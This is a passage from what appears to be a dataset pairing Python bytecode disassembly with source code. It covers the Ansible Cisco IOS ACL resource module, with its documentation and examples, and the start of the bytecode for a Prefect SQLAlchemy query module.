argspec.\nparsed:\n description: The device native config provided in I(running_config) option parsed into structured data as per module argspec.\n returned: when I(state) is C(parsed)\n type: list\n sample: >\n This output will always be in the same format as the\n module argspec.\n' STORE_NAME RETURN LOAD_CONST 0 LOAD_CONST ('AnsibleModule',) IMPORT_NAME ansible.module_utils.basic IMPORT_FROM AnsibleModule STORE_NAME AnsibleModule POP_TOP LOAD_CONST 0 LOAD_CONST ('AclsArgs',) IMPORT_NAME ansible_collections.cisco.ios.plugins.module_utils.network.ios.argspec.acls.acls IMPORT_FROM AclsArgs STORE_NAME AclsArgs POP_TOP LOAD_CONST 0 LOAD_CONST ('Acls',) IMPORT_NAME ansible_collections.cisco.ios.plugins.module_utils.network.ios.config.acls.acls IMPORT_FROM Acls STORE_NAME Acls POP_TOP LOAD_CONST <code object main at 0x7f8e4475cb70, file "f.py", line 1130> LOAD_CONST 'main' MAKE_FUNCTION STORE_NAME main LOAD_NAME __name__ LOAD_CONST '__main__' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_NAME main CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AnsibleModule LOAD_GLOBAL AclsArgs LOAD_ATTR argument_spec LOAD_CONST 'config' LOAD_CONST 'running_config' BUILD_LIST BUILD_LIST LOAD_CONST 'state' LOAD_CONST 'merged' LOAD_CONST 'config' BUILD_LIST BUILD_LIST LOAD_CONST 'state' LOAD_CONST 'replaced' LOAD_CONST 'config' BUILD_LIST BUILD_LIST LOAD_CONST 'state' LOAD_CONST 'overridden' LOAD_CONST 'config' BUILD_LIST BUILD_LIST LOAD_CONST 'state' LOAD_CONST 'rendered' LOAD_CONST 'config' BUILD_LIST BUILD_LIST LOAD_CONST 'state' LOAD_CONST 'parsed' LOAD_CONST 'running_config' BUILD_LIST BUILD_LIST BUILD_LIST LOAD_CONST True LOAD_CONST ('argument_spec', 'mutually_exclusive', 'required_if', 'supports_check_mode') CALL_FUNCTION STORE_FAST module LOAD_GLOBAL Acls LOAD_FAST module CALL_FUNCTION LOAD_METHOD execute_module CALL_METHOD STORE_FAST result LOAD_FAST module LOAD_ATTR exit_json BUILD_TUPLE LOAD_FAST result CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE
""" The module file for ios_acls """ from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = """ author: - Sumit Jaiswal (@justjais) - Sagar Paul (@KB-perByte) description: This module configures and manages the named or numbered ACLs on IOS platforms. module: ios_acls notes: - Tested against Cisco IOSXE Version 17.3 on CML. - Module behavior is not idempotent when sequence for aces are not mentioned - This module works with connection C(network_cli). See U(https://docs.ansible.com/ansible/latest/network/user_guide/platform_ios.html) options: config: description: A list of ACL configuration options. elements: dict suboptions: acls: description: - A list of Access Control Lists (ACL) attributes. elements: dict suboptions: aces: description: The entries within the ACL. elements: dict suboptions: destination: description: Specify the packet destination. suboptions: address: description: Host address to match, or any single host address. type: str any: description: Match any source address. type: bool host: description: A single destination host type: str object_group: description: Destination network object group type: str port_protocol: description: - Specify the destination port along with protocol. - Note, Valid with TCP/UDP protocol_options suboptions: eq: description: Match only packets on a given port number. type: str gt: description: Match only packets with a greater port number. type: str lt: description: Match only packets with a lower port number. type: str neq: description: Match only packets not on a given port number. type: str range: description: Port group. suboptions: end: description: Specify the end of the port range. type: int start: description: Specify the start of the port range. type: int type: dict type: dict wildcard_bits: description: Destination wildcard bits, valid with IPV4 address. type: str type: dict dscp: description: Match packets with given dscp value. type: str evaluate: description: Evaluate an access list type: str fragments: description: - Check non-initial fragments. - This option is DEPRECATED and is replaced with enable_fragments which accepts bool as input this attribute will be removed after 2024-01-01. type: str enable_fragments: description: Enable non-initial fragments. type: bool grant: choices: - permit - deny description: Specify the action. type: str log: description: Log matches against this entry. suboptions: set: description: Enable Log matches against this entry type: bool user_cookie: description: User defined cookie (max of 64 char) type: str type: dict log_input: description: Log matches against this entry, including input interface. suboptions: set: description: Enable Log matches against this entry, including input interface. type: bool user_cookie: description: User defined cookie (max of 64 char) type: str type: dict option: description: - Match packets with given IP Options value. - Valid only for named acls. suboptions: add_ext: description: Match packets with Address Extension Option (147). type: bool any_options: description: Match packets with ANY Option. type: bool com_security: description: Match packets with Commercial Security Option (134). type: bool dps: description: Match packets with Dynamic Packet State Option (151). type: bool encode: description: Match packets with Encode Option (15). type: bool eool: description: Match packets with End of Options (0). type: bool ext_ip: description: Match packets with Extended IP Option (145). type: bool ext_security: description: Match packets with Extended Security Option (133). type: bool finn: description: Match packets with Experimental Flow Control Option (205). type: bool imitd: description: Match packets with IMI Traffic Desriptor Option (144). type: bool lsr: description: Match packets with Loose Source Route Option (131). type: bool mtup: description: Match packets with MTU Probe Option (11). type: bool mtur: description: Match packets with MTU Reply Option (12). type: bool no_op: description: Match packets with No Operation Option (1). type: bool nsapa: description: Match packets with NSAP Addresses Option (150). type: bool record_route: description: Match packets with Record Route Option (7). type: bool router_alert: description: Match packets with Router Alert Option (148). type: bool sdb: description: Match packets with Selective Directed Broadcast Option (149). type: bool security: description: Match packets with Basic Security Option (130). type: bool ssr: description: Match packets with Strict Source Routing Option (137). type: bool stream_id: description: Match packets with Stream ID Option (136). type: bool timestamp: description: Match packets with Time Stamp Option (68). type: bool traceroute: description: Match packets with Trace Route Option (82). type: bool ump: description: Match packets with Upstream Multicast Packet Option (152). type: bool visa: description: Match packets with Experimental Access Control Option (142). type: bool zsu: description: Match packets with Experimental Measurement Option (10). type: bool type: dict precedence: description: Match packets with given precedence value. type: str protocol: description: - Specify the protocol to match. - Refer to vendor documentation for valid values. type: str protocol_options: description: protocol type. suboptions: ahp: description: Authentication Header Protocol. type: bool eigrp: description: Cisco's EIGRP routing protocol. type: bool esp: description: Encapsulation Security Payload. type: bool gre: description: Cisco's GRE tunneling. type: bool hbh: description: Hop by Hop options header. Valid for IPV6 type: bool icmp: description: Internet Control Message Protocol. suboptions: administratively_prohibited: description: Administratively prohibited type: bool alternate_address: description: Alternate address type: bool conversion_error: description: Datagram conversion type: bool dod_host_prohibited: description: Host prohibited type: bool dod_net_prohibited: description: Net prohibited type: bool echo: description: Echo (ping) type: bool echo_reply: description: Echo reply type: bool general_parameter_problem: description: Parameter problem type: bool host_isolated: description: Host isolated type: bool host_precedence_unreachable: description: Host unreachable for precedence type: bool host_redirect: description: Host redirect type: bool host_tos_redirect: description: Host redirect for TOS type: bool host_tos_unreachable: description: Host unreachable for TOS type: bool host_unknown: description: Host unknown type: bool host_unreachable: description: Host unreachable type: bool information_reply: description: Information replies type: bool information_request: description: Information requests type: bool mask_reply: description: Mask replies type: bool mask_request: description: mask_request type: bool mobile_redirect: description: Mobile host redirect type: bool net_redirect: description: Network redirect type: bool net_tos_redirect: description: Net redirect for TOS type: bool net_tos_unreachable: description: Network unreachable for TOS type: bool net_unreachable: description: Net unreachable type: bool network_unknown: description: Network unknown type: bool no_room_for_option: description: Parameter required but no room type: bool option_missing: description: Parameter required but not present type: bool packet_too_big: description: Fragmentation needed and DF set type: bool parameter_problem: description: All parameter problems type: bool port_unreachable: description: Port unreachable type: bool precedence_unreachable: description: Precedence cutoff type: bool protocol_unreachable: description: Protocol unreachable type: bool reassembly_timeout: description: Reassembly timeout type: bool redirect: description: All redirects type: bool router_advertisement: description: Router discovery advertisements type: bool router_solicitation: description: Router discovery solicitations type: bool source_quench: description: Source quenches type: bool source_route_failed: description: Source route failed type: bool time_exceeded: description: All time exceededs type: bool timestamp_reply: description: Timestamp replies type: bool timestamp_request: description: Timestamp requests type: bool traceroute: description: Traceroute type: bool ttl_exceeded: description: TTL exceeded type: bool unreachable: description: All unreachables type: bool type: dict igmp: description: Internet Gateway Message Protocol. suboptions: dvmrp: description: Distance Vector Multicast Routing Protocol(2) type: bool host_query: description: IGMP Membership Query(0) type: bool mtrace_resp: description: Multicast Traceroute Response(7) type: bool mtrace_route: description: Multicast Traceroute(8) type: bool pim: description: Protocol Independent Multicast(3) type: bool trace: description: Multicast trace(4) type: bool v1host_report: description: IGMPv1 Membership Report(1) type: bool v2host_report: description: IGMPv2 Membership Report(5) type: bool v2leave_group: description: IGMPv2 Leave Group(6) type: bool v3host_report: description: IGMPv3 Membership Report(9) type: bool type: dict ip: description: Any Internet Protocol. type: bool ipinip: description: IP in IP tunneling. type: bool ipv6: description: Any IPv6. type: bool nos: description: KA9Q NOS compatible IP over IP tunneling. type: bool ospf: description: OSPF routing protocol. type: bool pcp: description: Payload Compression Protocol. type: bool pim: description: Protocol Independent Multicast. type: bool protocol_number: description: An IP protocol number type: int sctp: description: Stream Control Transmission Protocol. type: bool tcp: description: Match TCP packet flags suboptions: ack: description: Match on the ACK bit type: bool established: description: Match established connections type: bool fin: description: Match on the FIN bit type: bool psh: description: Match on the PSH bit type: bool rst: description: Match on the RST bit type: bool syn: description: Match on the SYN bit type: bool urg: description: Match on the URG bit type: bool type: dict udp: description: User Datagram Protocol. type: bool type: dict remarks: description: - The remarks/description of the ACL. - The remarks attribute used within an ace with or without a sequence number will produce remarks that are pushed before the ace entry. - Remarks entry used as the only key in as the list option will produce non ace specific remarks, these remarks would be pushed at the end of all the aces for an acl. elements: str type: list sequence: description: - Sequence Number for the Access Control Entry(ACE). - Refer to vendor documentation for valid values. type: int source: description: Specify the packet source. suboptions: address: description: Source network address. type: str any: description: Match any source address. type: bool host: description: A single source host type: str object_group: description: Source network object group type: str port_protocol: description: - Specify the source port along with protocol. - Note, Valid with TCP/UDP protocol_options suboptions: eq: description: Match only packets on a given port number. type: str gt: description: Match only packets with a greater port number. type: str lt: description: Match only packets with a lower port number. type: str neq: description: Match only packets not on a given port number. type: str range: description: Port group. suboptions: end: description: Specify the end of the port range. type: int start: description: Specify the start of the port range. type: int type: dict type: dict wildcard_bits: description: Source wildcard bits, valid with IPV4 address. type: str type: dict time_range: description: Specify a time-range. type: str tos: description: - Match packets with given TOS value. - Note, DSCP and TOS are mutually exclusive suboptions: max_reliability: description: Match packets with max reliable TOS (2). type: bool max_throughput: description: Match packets with max throughput TOS (4). type: bool min_delay: description: Match packets with min delay TOS (8). type: bool min_monetary_cost: description: Match packets with min monetary cost TOS (1). type: bool normal: description: Match packets with normal TOS (0). type: bool service_value: description: Type of service value type: int type: dict ttl: description: Match packets with given TTL value. suboptions: eq: description: Match only packets on a given TTL number. type: int gt: description: Match only packets with a greater TTL number. type: int lt: description: Match only packets with a lower TTL number. type: int neq: description: Match only packets not on a given TTL number. type: int range: description: Match only packets in the range of TTLs. suboptions: end: description: Specify the end of the port range. type: int start: description: Specify the start of the port range. type: int type: dict type: dict type: list acl_type: choices: - extended - standard description: - ACL type - Note, it's mandatory and required for Named ACL, but for Numbered ACL it's not mandatory. type: str name: description: The name or the number of the ACL. required: true type: str type: list afi: choices: - ipv4 - ipv6 description: - The Address Family Indicator (AFI) for the Access Control Lists (ACL). required: true type: str type: list running_config: description: - This option is used only with state I(parsed). - The value of this option should be the output received from the IOS device by executing the command B(sh access-list). - The state I(parsed) reads the configuration from C(running_config) option and transforms it into Ansible structured data as per the resource module's argspec and the value is then returned in the I(parsed) key within the result. type: str state: choices: - merged - replaced - overridden - deleted - gathered - rendered - parsed default: merged description: - The state the configuration should be left in - The state I(merged) is the default state which merges the want and have config, but for ACL module as the IOS platform doesn't allow update of ACE over an pre-existing ACE sequence in ACL, same way ACLs resource module will error out for respective scenario and only addition of new ACE over new sequence will be allowed with merge state. - The states I(rendered), I(gathered) and I(parsed) does not perform any change on the device. - The state I(rendered) will transform the configuration in C(config) option to platform specific CLI commands which will be returned in the I(rendered) key within the result. For state I(rendered) active connection to remote host is not required. - The state I(gathered) will fetch the running configuration from device and transform it into structured data in the format as per the resource module argspec and the value is returned in the I(gathered) key within the result. - The state I(parsed) reads the configuration from C(running_config) option and transforms it into JSON format as per the resource module parameters and the value is returned in the I(parsed) key within the result. The value of C(running_config) option should be the same format as the output of commands I(sh running-config | section access-list) for all acls related information and I(sh access-lists | include access list) to obtain configuration specific of an empty acls, the following commands are executed on device. Config data from both the commands should be kept together one after another for the parsers to pick the commands correctly. For state I(parsed) active connection to remote host is not required. - The state I(overridden), modify/add the ACLs defined, deleted all other ACLs. - The state I(replaced), modify/add only the ACEs of the ACLs defined only. It does not perform any other change on the device. - The state I(deleted), deletes only the specified ACLs, or all if not specified. type: str short_description: Resource module to configure ACLs. version_added: 1.0.0 """ EXAMPLES = """ - name: Merge provided configuration with device configuration cisco.ios.ios_acls: config: - afi: ipv4 acls: - name: std_acl acl_type: standard aces: - grant: deny source: address: 192.168.1.200 - grant: deny source: address: 192.168.2.0 wildcard_bits: 0.0.0.255 - name: 110 aces: - sequence: 10 protocol_options: icmp: traceroute: true source: address: 192.168.3.0 wildcard_bits: 255.255.255.0 destination: any: true grant: permit - grant: deny protocol_options: tcp: ack: true source: host: 198.51.100.0 destination: host: 198.51.110.0 port_protocol: eq: telnet - name: extended_acl_1 acl_type: extended aces: - grant: deny protocol_options: tcp: fin: true source: address: 192.0.2.0 wildcard_bits: 0.0.0.255 destination: address: 192.0.3.0 wildcard_bits: 0.0.0.255 port_protocol: eq: www option: traceroute: true ttl: eq: 10 - name: 123 aces: - remarks: - "remarks for extended ACL 1" - "check ACL" - grant: deny protocol_options: tcp: ack: true source: address: 198.51.100.0 wildcard_bits: 0.0.0.255 destination: address: 198.51.101.0 wildcard_bits: 0.0.0.255 port_protocol: eq: telnet tos: service_value: 12 - grant: deny protocol_options: tcp: ack: true source: address: 192.0.3.0 wildcard_bits: 0.0.0.255 destination: address: 192.0.4.0 wildcard_bits: 0.0.0.255 port_protocol: eq: www dscp: ef ttl: lt: 20 - afi: ipv6 acls: - name: R1_TRAFFIC aces: - grant: deny protocol_options: tcp: ack: true source: any: true port_protocol: eq: www destination: any: true port_protocol: eq: telnet dscp: af11 state: merged - name: Merge provided configuration with device configuration cisco.ios.ios_acls: config: - afi: ipv4 acls: - name: 100 aces: - sequence: 10 protocol_options: icmp: traceroute: true state: merged - name: Replaces device configuration of listed acls with provided configuration cisco.ios.ios_acls: config: - afi: ipv4 acls: - name: 110 aces: - grant: deny protocol_options: tcp: syn: true source: address: 192.0.2.0 wildcard_bits: 0.0.0.255 destination: address: 192.0.3.0 wildcard_bits: 0.0.0.255 port_protocol: eq: www dscp: ef ttl: eq: 10 - name: 150 aces: - grant: deny sequence: 20 protocol_options: tcp: syn: true source: address: 198.51.100.0 wildcard_bits: 0.0.0.255 port_protocol: eq: telnet destination: address: 198.51.110.0 wildcard_bits: 0.0.0.255 port_protocol: eq: telnet dscp: ef ttl: eq: 10 state: replaced - name: Replace remarks of ace with sequence 10 cisco.ios.ios_acls: state: replaced config: - acls: - aces: - destination: any: true grant: permit protocol: ip remarks: - The new first remarks before 10 - ============new - The new second remarks before 10 sequence: 10 source: host: 1.1.1.1 - destination: any: true grant: permit protocol: ip remarks: - FIRST REMARK BEFORE LINE 20 - ============ - ALLOW HOST remarks AFTER LINE 20 sequence: 20 source: host: 2.2.2.2 - destination: any: true grant: permit protocol: ip remarks: - FIRST REMARK BEFORE LINE 30 - ============ - ALLOW HOST remarks AFTER LINE 30 sequence: 30 source: host: 3.3.3.3 acl_type: extended name: TEST afi: ipv4 - name: Replace remarks of ace with sequence 10 cisco.ios.ios_acls: state: replaced config: - acls: - aces: - destination: any: true grant: permit protocol: ip remarks: - The new first remarks before 10 - ============new - The new second remarks before 10 sequence: 10 source: host: 1.1.1.1 - destination: any: true grant: permit protocol: ip remarks: - FIRST REMARK BEFORE LINE 20 - ============ - ALLOW HOST remarks AFTER LINE 20 sequence: 20 source: host: 2.2.2.2 - destination: any: true grant: permit protocol: ip remarks: - FIRST REMARK BEFORE LINE 30 - ============ - ALLOW HOST remarks AFTER LINE 30 sequence: 30 source: host: 3.3.3.3 acl_type: extended name: TEST afi: ipv4 - name: Override device configuration of all acls with provided configuration cisco.ios.ios_acls: config: - afi: ipv4 acls: - name: 110 aces: - grant: deny sequence: 20 protocol_options: tcp: ack: true source: address: 198.51.100.0 wildcard_bits: 0.0.0.255 port_protocol: eq: telnet destination: address: 198.51.110.0 wildcard_bits: 0.0.0.255 port_protocol: eq: www dscp: ef ttl: eq: 10 - name: 150 aces: - grant: deny sequence: 10 protocol_options: tcp: syn: true source: address: 198.51.100.0 wildcard_bits: 0.0.0.255 port_protocol: eq: telnet destination: address: 198.51.110.0 wildcard_bits: 0.0.0.255 port_protocol: eq: telnet dscp: ef ttl: eq: 10 state: overridden - name: "Delete ACLs (Note: This won't delete the all configured ACLs)" cisco.ios.ios_acls: config: - afi: ipv4 acls: - name: extended_acl_1 acl_type: extended - name: 110 state: deleted - name: "Delete ACLs based on AFI (Note: This won't delete the all configured ACLs)" cisco.ios.ios_acls: config: - afi: ipv4 state: deleted - name: Delete ALL of configured ACLs cisco.ios.ios_acls: state: deleted - name: Gather ACLs configuration from target device cisco.ios.ios_acls: state: gathered - name: Render the provided configuration into platform specific configuration lines cisco.ios.ios_acls: config: - afi: ipv4 acls: - name: 110 aces: - grant: deny sequence: 10 protocol_options: tcp: syn: true source: address: 192.0.2.0 wildcard_bits: 0.0.0.255 destination: address: 192.0.3.0 wildcard_bits: 0.0.0.255 port_protocol: eq: www dscp: ef ttl: eq: 10 - name: 150 aces: - grant: deny protocol_options: tcp: syn: true source: address: 198.51.100.0 wildcard_bits: 0.0.0.255 port_protocol: eq: telnet destination: address: 198.51.110.0 wildcard_bits: 0.0.0.255 port_protocol: eq: telnet dscp: ef ttl: eq: 10 state: rendered - name: Parse the commands for provided configuration cisco.ios.ios_acls: running_config: "{{ lookup('file', 'parsed.cfg') }}" state: parsed """ RETURN = """ before: description: The configuration prior to the module execution. returned: when I(state) is C(merged), C(replaced), C(overridden), C(deleted) or C(purged) type: dict sample: > This output will always be in the same format as the module argspec. after: description: The resulting configuration after module execution. returned: when changed type: dict sample: > This output will always be in the same format as the module argspec. commands: description: The set of commands pushed to the remote device. returned: when I(state) is C(merged), C(replaced), C(overridden), C(deleted) or C(purged) type: list sample: - ip access-list extended 110 - deny icmp 192.0.2.0 0.0.0.255 192.0.3.0 0.0.0.255 echo dscp ef ttl eq 10 - permit ip host 2.2.2.2 host 3.3.3.3 rendered: description: The provided configuration in the task rendered in device-native format (offline). returned: when I(state) is C(rendered) type: list sample: - ip access-list extended test - permit ip host 2.2.2.2 host 3.3.3.3 - permit tcp host 1.1.1.1 host 5.5.5.5 eq www gathered: description: Facts about the network resource gathered from the remote device as structured data. returned: when I(state) is C(gathered) type: list sample: > This output will always be in the same format as the module argspec. parsed: description: The device native config provided in I(running_config) option parsed into structured data as per module argspec. returned: when I(state) is C(parsed) type: list sample: > This output will always be in the same format as the module argspec. """ from ansible.module_utils.basic import AnsibleModule from ansible_collections.cisco.ios.plugins.module_utils.network.ios.argspec.acls.acls import ( AclsArgs, ) from ansible_collections.cisco.ios.plugins.module_utils.network.ios.config.acls.acls import ( Acls, ) def main(): """ Main entry point for module execution :returns: the result form module invocation """ module = AnsibleModule( argument_spec=AclsArgs.argument_spec, mutually_exclusive=[["config", "running_config"]], required_if=[ ["state", "merged", ["config"]], ["state", "replaced", ["config"]], ["state", "overridden", ["config"]], ["state", "rendered", ["config"]], ["state", "parsed", ["running_config"]], ], supports_check_mode=True, ) result = Acls(module).execute_module() module.exit_json(**result) if __name__ == "__main__": main()
data/ansible-9.2.0/ansible_collections/cisco/ios/plugins/modules/ios_acls.py
8,798
8,996
4,966
LOAD_CONST 'Tasks for querying a database with SQLAlchemy' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME contextlib STORE_NAME contextlib LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST ('AsyncExitStack', 'ExitStack', 'asynccontextmanager') IMPORT_NAME contextlib IMPORT_FROM AsyncExitStack STORE_NAME AsyncExitStack IMPORT_FROM ExitStack STORE_NAME ExitStack IMPORT_FROM asynccontextmanager STORE_NAME asynccontextmanager POP_TOP LOAD_CONST 0 LOAD_CONST ('Any', 'Dict', 'List', 'Optional', 'Tuple', 'Union') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 0 LOAD_CONST ('task',) IMPORT_NAME prefect IMPORT_FROM task STORE_NAME task POP_TOP LOAD_CONST 0 LOAD_CONST ('CredentialsBlock', 'DatabaseBlock') IMPORT_NAME prefect.blocks.abstract IMPORT_FROM CredentialsBlock STORE_NAME CredentialsBlock IMPORT_FROM DatabaseBlock STORE_NAME DatabaseBlock POP_TOP LOAD_CONST 0 LOAD_CONST ('sync_compatible',) IMPORT_NAME prefect.utilities.asyncutils IMPORT_FROM sync_compatible STORE_NAME sync_compatible POP_TOP LOAD_CONST 0 LOAD_CONST ('hash_objects',) IMPORT_NAME prefect.utilities.hashing IMPORT_FROM hash_objects STORE_NAME hash_objects POP_TOP LOAD_CONST 0 LOAD_CONST ('VERSION',) IMPORT_NAME pydantic IMPORT_FROM VERSION STORE_NAME PYDANTIC_VERSION POP_TOP LOAD_NAME PYDANTIC_VERSION LOAD_METHOD startswith LOAD_CONST '2.' CALL_METHOD POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('AnyUrl', 'Field', 'SecretStr') IMPORT_NAME pydantic.v1 IMPORT_FROM AnyUrl STORE_NAME AnyUrl IMPORT_FROM Field STORE_NAME Field IMPORT_FROM SecretStr STORE_NAME SecretStr POP_TOP JUMP_FORWARD to 188 LOAD_CONST 0 LOAD_CONST ('AnyUrl', 'Field', 'SecretStr') IMPORT_NAME pydantic IMPORT_FROM AnyUrl STORE_NAME AnyUrl IMPORT_FROM Field STORE_NAME Field IMPORT_FROM SecretStr STORE_NAME SecretStr POP_TOP LOAD_CONST 0 LOAD_CONST ('__version__',) IMPORT_NAME sqlalchemy IMPORT_FROM __version__ STORE_NAME SQLALCHEMY_VERSION POP_TOP LOAD_CONST 0 LOAD_CONST ('Connection', 'Engine', 'create_engine') IMPORT_NAME sqlalchemy.engine IMPORT_FROM Connection STORE_NAME Connection IMPORT_FROM Engine STORE_NAME Engine IMPORT_FROM create_engine STORE_NAME create_engine POP_TOP LOAD_CONST 0 LOAD_CONST ('CursorResult',) IMPORT_NAME sqlalchemy.engine.cursor IMPORT_FROM CursorResult STORE_NAME CursorResult POP_TOP LOAD_CONST 0 LOAD_CONST ('URL', 'make_url') IMPORT_NAME sqlalchemy.engine.url IMPORT_FROM URL STORE_NAME URL IMPORT_FROM make_url STORE_NAME make_url POP_TOP LOAD_CONST 0 LOAD_CONST ('AsyncConnection', 'AsyncEngine', 'create_async_engine') IMPORT_NAME sqlalchemy.ext.asyncio IMPORT_FROM AsyncConnection STORE_NAME AsyncConnection IMPORT_FROM AsyncEngine STORE_NAME AsyncEngine IMPORT_FROM create_async_engine STORE_NAME create_async_engine POP_TOP LOAD_CONST 0 LOAD_CONST ('text',) IMPORT_NAME sqlalchemy.sql IMPORT_FROM text STORE_NAME text POP_TOP LOAD_CONST 0 LOAD_CONST ('Literal',) IMPORT_NAME typing_extensions IMPORT_FROM Literal STORE_NAME Literal POP_TOP LOAD_CONST 0 LOAD_CONST ('AsyncDriver', 'ConnectionComponents', 'DatabaseCredentials') IMPORT_NAME prefect_sqlalchemy.credentials IMPORT_FROM AsyncDriver STORE_NAME AsyncDriver IMPORT_FROM ConnectionComponents STORE_NAME ConnectionComponents IMPORT_FROM DatabaseCredentials STORE_NAME DatabaseCredentials POP_TOP LOAD_NAME contextlib LOAD_ATTR asynccontextmanager LOAD_NAME Union LOAD_CONST ('AsyncEngine', 'Engine') BINARY_SUBSCR LOAD_NAME bool LOAD_NAME Union LOAD_CONST ('AsyncConnection', 'Connection') BINARY_SUBSCR LOAD_CONST ('engine', 'async_supported', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _connect at 0x7fab6411e930, file "f.py", line 34> LOAD_CONST '_connect' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _connect LOAD_NAME Union LOAD_CONST ('AsyncConnection', 'Connection') BINARY_SUBSCR LOAD_NAME str LOAD_NAME Optional LOAD_NAME Union LOAD_NAME Tuple LOAD_NAME Any BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME bool LOAD_CONST 'CursorResult' LOAD_CONST ('connection', 'query', 'params', 'async_supported', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _execute at 0x7fab6411e8a0, file "f.py", line 56> LOAD_CONST '_execute' MAKE_FUNCTION STORE_NAME _execute LOAD_NAME task LOAD_CONST (None,) LOAD_NAME str LOAD_CONST 'DatabaseCredentials' LOAD_NAME Optional LOAD_NAME Union LOAD_NAME Tuple LOAD_NAME Any BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('statement', 'sqlalchemy_credentials', 'params') BUILD_CONST_KEY_MAP LOAD_CONST <code object sqlalchemy_execute at 0x7fab6411e540, file "f.py", line 75> LOAD_CONST 'sqlalchemy_execute' MAKE_FUNCTION CALL_FUNCTION STORE_NAME sqlalchemy_execute LOAD_NAME task LOAD_CONST (None, None) LOAD_NAME str LOAD_CONST 'DatabaseCredentials' LOAD_NAME Optional LOAD_NAME Union LOAD_NAME Tuple LOAD_NAME Any BINARY_SUBSCR LOAD_NAME Dict LOAD_NAME str LOAD_NAME Any BUILD_TUPLE BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME int BINARY_SUBSCR LOAD_NAME List LOAD_NAME Tuple LOAD_NAME Any BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('query', 'sqlalchemy_credentials', 'params', 'limit', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object sqlalchemy_query at 0x7fab6411e270, file "f.py", line 127> LOAD_CONST 'sqlalchemy_query' MAKE_FUNCTION CALL_FUNCTION STORE_NAME sqlalchemy_query LOAD_BUILD_CLASS LOAD_CONST <code object SqlAlchemyConnector at 0x7fab7009d0c0, file "f.py", line 185> LOAD_CONST 'SqlAlchemyConnector' MAKE_FUNCTION LOAD_CONST 'SqlAlchemyConnector' LOAD_NAME CredentialsBlock LOAD_NAME DatabaseBlock CALL_FUNCTION STORE_NAME SqlAlchemyConnector LOAD_CONST None RETURN_VALUE SETUP_FINALLY to 78 LOAD_FAST async_supported POP_JUMP_IF_FALSE LOAD_FAST engine LOAD_METHOD connect CALL_METHOD BEFORE_ASYNC_WITH GET_AWAITABLE LOAD_CONST None YIELD_FROM SETUP_ASYNC_WITH to 34 STORE_FAST connection LOAD_FAST connection YIELD_VALUE POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START GET_AWAITABLE LOAD_CONST None YIELD_FROM WITH_CLEANUP_FINISH END_FINALLY JUMP_FORWARD to 74 LOAD_FAST engine LOAD_METHOD connect CALL_METHOD SETUP_WITH to 68 STORE_FAST connection LOAD_FAST connection YIELD_VALUE POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None LOAD_FAST engine LOAD_METHOD dispose CALL_METHOD STORE_FAST dispose LOAD_FAST async_supported POP_JUMP_IF_FALSE LOAD_FAST dispose GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST connection LOAD_METHOD execute LOAD_GLOBAL text LOAD_FAST query CALL_FUNCTION LOAD_FAST params CALL_METHOD STORE_FAST result LOAD_FAST async_supported POP_JUMP_IF_FALSE LOAD_FAST result GET_AWAITABLE LOAD_CONST None YIELD_FROM STORE_FAST result LOAD_FAST connection LOAD_METHOD commit CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP JUMP_FORWARD to 64 LOAD_GLOBAL SQLALCHEMY_VERSION LOAD_METHOD startswith LOAD_CONST '2.' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST connection LOAD_METHOD commit CALL_METHOD POP_TOP LOAD_FAST result RETURN_VALUE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'sqlalchemy_query is now deprecated and will be removed March 2023; please use SqlAlchemyConnector execute_* methods instead.' LOAD_GLOBAL DeprecationWarning CALL_METHOD POP_TOP LOAD_FAST sqlalchemy_credentials LOAD_METHOD get_engine CALL_METHOD STORE_FAST engine LOAD_FAST sqlalchemy_credentials LOAD_ATTR _driver_is_async STORE_FAST async_supported LOAD_GLOBAL _connect LOAD_FAST engine LOAD_FAST async_supported CALL_FUNCTION BEFORE_ASYNC_WITH GET_AWAITABLE LOAD_CONST None YIELD_FROM SETUP_ASYNC_WITH to 70 STORE_FAST connection LOAD_GLOBAL _execute LOAD_FAST connection LOAD_FAST statement LOAD_FAST params LOAD_FAST async_supported CALL_FUNCTION GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START GET_AWAITABLE LOAD_CONST None YIELD_FROM WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'sqlalchemy_query is now deprecated and will be removed March 2023; please use SqlAlchemyConnector fetch_* methods instead.' LOAD_GLOBAL DeprecationWarning CALL_METHOD POP_TOP LOAD_FAST 